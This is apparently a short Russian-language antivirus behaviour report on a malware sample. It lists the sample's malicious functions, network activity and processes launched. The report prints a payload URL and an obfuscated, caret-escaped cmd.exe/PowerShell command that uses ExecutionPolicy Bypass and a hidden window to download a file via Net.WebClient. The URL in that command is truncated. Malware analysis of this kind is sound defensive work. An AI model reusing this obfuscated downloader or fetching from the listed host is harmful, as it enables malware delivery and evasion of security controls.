Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWE^r^Shel^l.eXE^ -Exe^CUt^i^ONpoL^Ic^Y^ B^YP^a^ss ^-NOp^r^oF^Ile ^-^wi^n^d^oW^StY^le hID^D^EN ^(^N^eW^-^oBj^e^c^T^ ^S^Y^st^Em.neT.^wEbcLIeN^T).^D^ownlO^ADf^il^E(^'http://...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWE^r^Shel^l.eXE^ -Exe^CUt^i^ONpoL^Ic^Y^ B^YP^a^ss ^-NOp^r^oF^Ile ^-^wi^n^d^oW^StY^le hID^D^EN ^(^N^eW^-^oBj^e^c^T^ ^S^Y^st^Em.neT.^wEbcLIeN^T).^D^ownlO^ADf^il^E(^'http://...' (со скрытым окном)
